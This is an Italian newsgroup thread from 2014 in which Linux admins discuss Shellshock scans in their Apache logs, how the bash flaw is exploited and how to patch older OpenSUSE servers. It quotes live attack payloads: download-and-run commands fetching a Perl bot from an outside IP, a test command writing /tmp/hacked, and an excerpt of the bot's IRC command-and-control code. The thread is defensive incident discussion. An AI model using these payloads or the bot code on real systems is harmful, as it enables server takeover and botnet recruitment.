Newsgroup: it.comp.os.linux.sys
Titolo: Shellshock

Ciao a tutti,
Tra ieri e questa notte ho avuto parecchie scansioni alla ricerca di
eventuali vulnerabilità a shellshock. Oltre ai vari script kiddies che
cercavano script cgi ho trovato questo nei log:
 
# more access.log | grep "() { :;};"
89.207.135.125 - - [25/Sep/2014:12:29:47 +0200] "GET
/cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 520 "-" "() { :;}; /bin/ping
-c 1 198.101.206.138"
31.44.93.25 - - [25/Sep/2014:14:25:52 +0200] "GET /cgi-bin/login.cgi
HTTP/1.1" 404 509 "() { :;}; /bin/bash -c \"wget
http://stackoff.ru/ctf/strings.php\
"" "() { :;}; /bin/bash -c \"wget
http://stackoff.ru/ctf/strings.php\
""
 
 
# more error.log | grep "() { :;};"
[Thu Sep 25 14:25:52 2014] [error] [client 31.44.93.25] script not found
or unable to stat: /usr/lib/cgi-bin/login.cgi, referer: () { :;};
/bin/bash -c "wget 
http://stackoff.ru/ctf/strings.php
"
 
 
Quello che non sono risucito a capire è se il wget è stato eseguito
oppure no. Basta il modulo cgi_bin per sfruttare la vulnerabilità,
oppure ci deve essere un cgi da eseguire?
 
 
 
-- 
g4b0, linux user n. 369000
http://brosulo.net
 


http://askubuntu.com/questions/528101/what-is-the-cve-2014-6271-bash-vulnerability-and-how-do-i-fix-it
 
 

 oppure ci deve essere un cgi da eseguire?
 
Anche io ho ricevuto qualche visita... Nei miei log ho trovato questo:
 
89.207.135.125 - - [25/Sep/2014:09:14:13 +0200] "GET /cgi-
sys/defaultwebpage.cgi HTTP/1.0" 404 514 "-" "() { :;}; /bin/ping -c 1 
198.101.206.138"
146.71.113.194 - - [26/Sep/2014:00:07:47 +0200] "GET /cgi-bin/helpme 
HTTP/1.0" 404 494 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget 
http://213.5.67.223/jurat;curl
 -O /tmp/jurat 
http://213.5.67.223/jurat
 ; 
perl /tmp/jurat*;rm -rf /tmp/jurat\""
146.71.113.194 - - [26/Sep/2014:06:30:01 +0200] "GET /cgi-bin/helpme 
HTTP/1.0" 404 494 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget 
http://213.5.67.223/jurat;curl
 -O /tmp/jurat 
http://213.5.67.223/jurat
 ; 
perl /tmp/jurat*;rm -rf /tmp/jurat\""
146.71.113.194 - - [26/Sep/2014:11:38:53 +0200] "GET /cgi-bin/helpme 
HTTP/1.0" 404 494 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget 
http://213.5.67.223/jurat;curl
 -O /tmp/jurat 
http://213.5.67.223/jurat
 ; 
perl /tmp/jurat*;rm -rf /tmp/jurat\""
 
Lo script perl "jurat" è scritto in italiano e da una prima lettura sembra 
essere "solo" uno "speader", come si autodefinisce...
 
 
Void

 oppure ci deve essere un cgi da eseguire?
 
  La seconda.  La vulnerabilità è della shell bash, non del modulo cgi_bin.
 
 
  Ciao,
 
 
Alessandro
 
 

    La seconda.  La vulnerabilità è della shell bash, non del modulo cgi_bin.
 
Quindi nel momento in cui la directory del cgi-bin è inesistente e si 
riceve errore da apache provando ad aprirla, si può pensare di essere 
tranquilli?
 
Cioè, provando la richiesta:
 
GET /cgi-bin/script HTTP/1.1
User-Agent: () { :;}; echo aa>/tmp/hacked
 
trovata in giro su qualche sito, ricevo da apache un errore "400 Bad 
Request" e il file /tmp/hacked non c'è. Si può concludere che è ok 
secondo voi?
 

 tranquilli?
 
No, proprio perchè la vulnerabilità è della shell bash, alla quale si 
puo' accedere non solo tramite cgi-bin.
Non ho approfondito, ma ho letto in giro che non è possibile sfruttarla 
*solo* tramite mod_php, niente riguardo agli altri modulo (suphp, 
fastcgi,fpm ,etc).
 
Non ho approfondito in quanto ho patchato le bash di tutti i miei server, 
risolvendo il problema, non aggirandolo.
Perchè non fai lo stesso?
 
 
 
 

 cercavano script cgi ho trovato questo nei log:
 
Grazie a tutti per le risposte, ovviamente ho patchato tutto il parco
macchine, ma dato che prima del mio intervento ho ricevuto le visite di
cui al messaggio originale volevo solo essere sicuro di non dover
reinstallare tutto :)
 
Bello questo nuovo bug, ma soprattutto bello tutto il tam tam mediatico
che ci hanno fatto girare sopra!



  Si.  Il pericolo è nella possibilità di far eseguire alla shell
vittima codice arbitrario.  Il che vuol dire che il bug è sfruttabile se
da remoto si ha qualche possibilità di mandare in esecuzione una shell
bash sul computer vittima, e se il modulo cgi_bin è l'unico modo che c'è
di eseguire una shell bash da remoto sei al sicuro.  Non ho letto da
nessuna parte che ci sia la possibilità di eseguire un privilege
escalation e quindi, anche si riuscisse a sfruttare la vulnerabilità,
l'eventuale danno è limitato a cosa può fare l'utente proprietario del
processo di bash.  È dagli anni '90 che leggo che eseguire script di
shell CGI come utente root è da irresponsabili, ma sembra che di
irresposabili anche il III millennio abbia sovrabbondanza.
 
 
  Ciao,
 
 
Alessandro
 

 Perchè non fai lo stesso?
 
Non è così semplice purtroppo... ho patchato tutti i server centos, debian, persino i raspberry. Ma (e maledico il giorno in cui ho scelto) OpenSuse è terribile sotto questo punto di vista. Ho server che hanno appena 2 anni e non vengono più gestiti, ci sto impazzendo, credimi.
 
In attesa di trovare una soluzione, vi chiedo (a tutti, intendo) è ragionevolmente sufficiente chiudere ssh su, ad esempio, un webserver senza cgi e menate simili?

 che ci hanno fatto girare sopra!
 
Si, ne sono venuto a conoscenza anch'io che sono un semplice utente
domestico, leggendo qui:
http://attivissimo.blogspot.it/2014/09/shellshock-falla-critica-in-linux-mac.html
 
"Il NIST ha assegnato a questa vulnerabilità il massimo grado di gravità:
dieci su dieci" ... :-/
 
Cmq ho provato a controllare con il comando
# env x='() { :;}; echo vulnerabile' bash -c "echo prova"
ed errori non ne ho riscontrati, credo perche` su Debian Testing, ieri
sera l'upgrade dei pacchetti ha aggiornato Bash ed oggi Apache.
 
Io Apache lo attivo "una volta all'anno", giusto per testare in locale
qualche script PHP per la mia homepage ospitata su un server non mio.
Non me ne intendo molto quindi ... Nella pagina che ho citato sopra mi
ha convinto (a naso) il commento di bontoJR, che riporto qui in parte:
 
======================================================================
"We believe this should not affect any backward compatibility. This
would, of course, affect any scripts which try to use environment
variables created in the way as described above, but doing so should be
considered a bad programming practice." - RedHat
 
Giá solo questa lascia intendere che il bug é sfruttabile via remoto se
ci sono delle cattivi implementazioni, ovviamente non il 100% dei
sistemi é ben sviluppato, quindi la vulnerabilità é certamente da non
sottovalutare, ma asserire che sia l'apocalisse informatica é
probabilmente esagerato.
 
Altra cosa importante, direttamente da Rapid7, i ragazzi che curano
Metasploit, il tool più usato al mondo per i PenTest:
 
"The vulnerability looks pretty awful at first glance, but most systems
with Bash installed will NOT be remotely exploitable as a result of this
issue."
 
https://community.rapid7.com/community/infosec/blog/2014/09/25/bash-ing-into-your-network-investigating-cve-2014-6271
 
 
Per terminare correggo l'ultimo commento fatto su Apache... Apache non
usa bash, o meglio, il software senza estensioni usa bash solo per i
piped logs (la falla si chiude usando || invece che | per le directory
dei logs) ed alcune piccole cose come le chiamate popen() o system(),
funzioni che raramente si usano ancora direttamente (CPanel pare ne
faccia ancora uso per alcuni tool interni datati, per esempio). Oltre a
questo, Apache diventa facilmente attaccabile se il mod_cgi é attivo ed
utilizzato, ora, questa pratica é ormai deprecata da anni perché
ritenuta profondamente rischiosa, ci sono strade alternative come
FastCGI che utilizza i file descriptors' per le variabili d'ambiente,
quindi la falla non é sfruttabile. Ultima cosa, c'é da ricordare che
questo bug non permette la scalata dei privilegi, quindi per fare danni
ci vorrebbe un attacco per recuperare user/pass del database usato dal
software installato e sperare che quei dati corrispondano ad un account
sulla macchina o che la password sia la stessa di root, cioé una
concatenazione di cattive pratiche che purtroppo é ancora comune.
 
L'unico utilizzo veramente importante é il server DHCP modificato, ma
qui c'é sempre la volontà dell'utente nell'entrare in una rete
sconosciuta, perché in quella di casa i malintenzionati non possono
entrare sfruttando questa falla visto che il buon 90% dei router
casalinghi usa altro, per esempio BusyBox ("A quick review of a
approximately 50 firmware images from a variety of enterprise,
industrial, and consumer devices turned up no instances where Bash was
included in the filesystem." Rapid7).
 
Quindi, piuttosto che generare panico immotivato, magari sarebbe ora di
prendere la palla al balzo per rimarcare che l'insicurezza dei sistemi é
quasi sempre dovuta alla componente umana, non tecnica: password simili,
cattive implementazioni software, cattive installazioni, ecc... 
======================================================================
 
Lo condividete?
 
 

 
 
In realtà su debian e derivate /bin/sh è symlink a dash e non a bash, il
che rende in teoria la vulnerabilità difficile da exploitare su
installazioni di default, almeno attraverso apache e famiglia.
 
(ma senza nemmeno pormi il problema, ammetto di aver semplicemente
aggiornato a tappeto e morta lì...)
 


 
se invece di questo
env x='() { :;}; echo vulnerable' bash -c 'echo hello'
 
ci metti un useradd completo (quello non interattivo, con la passwd)?
 
Non ho il tempo di provare, anche perchè non faccio altro che patchare 
da 2 giorni, ma nei log ci ho trovato di tutto come tentativi eh..

 irresposabili anche il III millennio abbia sovrabbondanza.
 
La cosa mi puzzava fin dall'inizio ma più ne leggo e più mi convinco che
sia del buon vecchio FUD : questo cosiddetto exploit ha bisogno di una 
cosa che è deprecata da venticinque o trenta anni?  
Coglione l'amministratore del sistema.
 
 
--- news://
freenews.netfront.net/
 - complaints: 
ne...@netfront.net
 ---

cosa che è deprecata da venticinque o trenta anni?  
 
Beh, no. Ha bisogno che un processo server salvi dati utente dentro una
variabile di sistema e lanci una shell.
 
E il fatto e' che addirittura diverse "funzioni" di vari linguaggi e di
varie piattaforme, per fare quello che fanno, anziche' reinventare ogni
volta la ruota, chiedono - quando possono - una mano a utility presenti
sul sistema, via shell().
 
Certo, la CGI gli offre una strada alla portata di chiunque.
 
Per esempio questo simpaticone:
 
173.45.100.18 - - [27/Sep/2014:22:37:25 +0200] "GET /cgi-bin/hi HTTP/1.0" 403
- "-" "() { :;}; /bin/bash -c \"cd /tmp;wget 
http://213.5.67.223/jurat;curl
 -O
/tmp/jurat 
http://213.5.67.223/jurat
 ; perl /tmp/jurat;rm -rf /tmp/jurat\""
 
Lo script in questione, beh. Alcuni punti salienti.
 
	my $linas_max='6';
	my $sleep='5';
	my @adms=("JB","x");
	my @hostauth=("fuckoff","localhost");
	my @canais=("#new");
	chop (my $realname = 'vn');
	$servidor='46.16.170.158' unless $servidor;
	my $porta='443';
	my $VERSAO = 'BUCEFALO';
 
	...
 
	sub conectar {
   		my $meunick = $_[0];
		my $servidor_con = $_[1];
		my $porta_con = $_[2];
 
   		my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp",
PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
	   	if (defined($IRC_socket)) {
		     $IRC_cur_socket = $IRC_socket;
 
     		    $IRC_socket->autoflush(1);
      		$sel_cliente->add($IRC_socket);
 
     		$irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     		$irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     		$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     		$irc_servers{$IRC_cur_socket}{'meuip'} =
$IRC_socket->sockhost;
     		nick("$meunick");
     		sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con
:$realname");
     		sendraw("PASS swedenrocks");
     		sleep 1;
   	    }
	}
 
Leonardo che se non ha niente da fare, stasera si traveste da bot
 
-- 
 
Questi non hanno speranza di morte; e la lor cieca vita e' tanto bassa,
Che 'nvidiosi son d'ogne altra sorte. Fama di loro il mondo esser non lassa;
Misericordia e Giustizia li sdegna; non ragioniam di lor, ma guarda e passa.

 ...
 
Beh, non riesco a ricordare se la cosa era già presente nel BASIC del
Commodore 64 o nel FORTRAN 77 ma sicuramente la chiamata SYSTEM era già
presente nel GWBASIC; neanche questa è una novità.
 
 
 
PS mi scuso per aver risposto sulla posta personale e non sul gruppo. 
Rimedio inviando di nuovo la risposta.


 presente nel GWBASIC; neanche questa è una novità.
 
E la chiamata SYSTEM del GWBASIC era l'equivalente di exit() del C 
o di :q! di VIM non del system(). Scusatemi


 presente nel GWBASIC; neanche questa è una novità.
 
/En/ /passant/ in GWBASIC la funzione che invocava il sistema operativo 
(o se preferisci la shell) era appunto SHELL.



Opensuse 11.4, non aggiorna... ed è prevista la dismissione entro fine 
anno per passare a server nuovi, pertanto si tratta solo di non aver 
problemi a breve.
Teoricamente però c'è solo mod_php.
 
M'era venuta un'idea che però s'è trasformata in una semi-catastrofe: e 
se sostituissi "/bin/tcsh" a "/bin/bash"?
L'ho fatto e s'è incastrato l'universo, ho dovuto montare il disco da 
un'altra macchina e rimettere tutto come prima per poter rientrare :-)
L'idea di base di disattivare la bash avendo tcsh è così scema?
C'è un modo di realizzarla senza mandare tutto all'aria?
 


 
 
sono impazzito anch'io su opensuse, sulla 12.1 ho fatto così (fatti un 
backup però, se salta bash poi sei tagliato fuori, magari crea un altro 
utente root con un'altra shell):
 
zypper ar -c -k -f 
http://download.opensuse.org/distribution/12.3/repo/oss/
 REPOCOMPL
 
zypper ar -c -k -f 
http://download.opensuse.org/update/12.3/
 UPDBASH
 
zypper update bash
 
env x='() { :;}; echo vulnerable' bash -c 'echo hello'
echo $BASH_VERSION
 
deve uscire ovviamente solo "hello". Dovresti passare quindi alla 
4.2.47(1)-release
 
quei repository poi toglili da yast o da
zypper rr REPOCOMPL
zypper rr UPDBASH
così non fanno casini.
 
in bocca al lupo.

 utente root con un'altra shell):
 
Sappi che ti eleggo a mio Sommo Mito Leggendario!!!
 
Ho provato sul server meno "critico" e ha funzionato, m'ha un po' 
spaventato quando m'ha detto che avrebbe aggiornato anche altro oltre al 
pacchetto bash ma sembra andare...
 
Grazie mille!

Rimedio inviando di nuovo la risposta.
 
No problem, figurati :-)
 
Leonardo


 Leonardo che se non ha niente da fare, stasera si traveste da bot
 
Pescato niente?
 
-- 
Andrea
 


Avevo da fare :-) :-(
 
Leonardo


 un'altra macchina e rimettere tutto come prima per poter rientrare :-)
 
E` normale, tcsh e bash sono incompatibili fra di loro (la prima e` basata 
su csh, nata su BSD, la seconda e` basata su sh, nata su Version 7 Unix). Se 
vuoi fare una sostituzione del genere, puoi farla con busybox, dash o zsh
 
Enrico

 Novita', nessuna. Interesse, l'exploitabilita' del codice.
 
Se vado a ripescare le lezioni sulla filosofia di Aristotele
direi che si è passati dalla potenza all'atto:
 
Potenza:
  Nelle shell (non solo la bash ma in tutte) è possibile un attacco
tramite /shekllcode/ /iniection/ inoculando una variabile d'ambiente
con un codice maligno.
 
Atto:
  Quanto sopra è stato fatto con la shell BASH in remoto.
 
Mi sembra ancora troppo poco per giustificare l'assegnazione 
tre livelli dieci da parte del NIST, anche tenendo conto degli ultimi aggiornamenti: pare che il bug non è unico ma sono una serie,
che solo uno sia stato corretto e che nei prossimi giorni arriveranno 
altre patch.
 
http://it.slashdot.org/story/14/09/29/024239/bash-to-require-further-patching-as-more-shellshock-holes-found
 



http://it.slashdot.org/story/14/09/29/024239/bash-to-require-further-patching-as-more-shellshock-holes-found
 
 
Oh, gioia.


 Grazie mille!
 
tranquillo, di niente. ci ho perso la giornata a bestemmiare suse. non 
c'è un repository uguale ad un altro. :D
 
comunque a scanso di equivoci, fallo prima sulle macchine virtuali 
antecedendo uno snapshot. e comunque prova a riavviare il server e a 
vedere se ci entri dopo il riavvio.
 
nelle mie prove, su una macchina di test, una versione era così 
incompatibile che mi ha piallato ogni accesso. ma le macchine di test 
servono a questo :)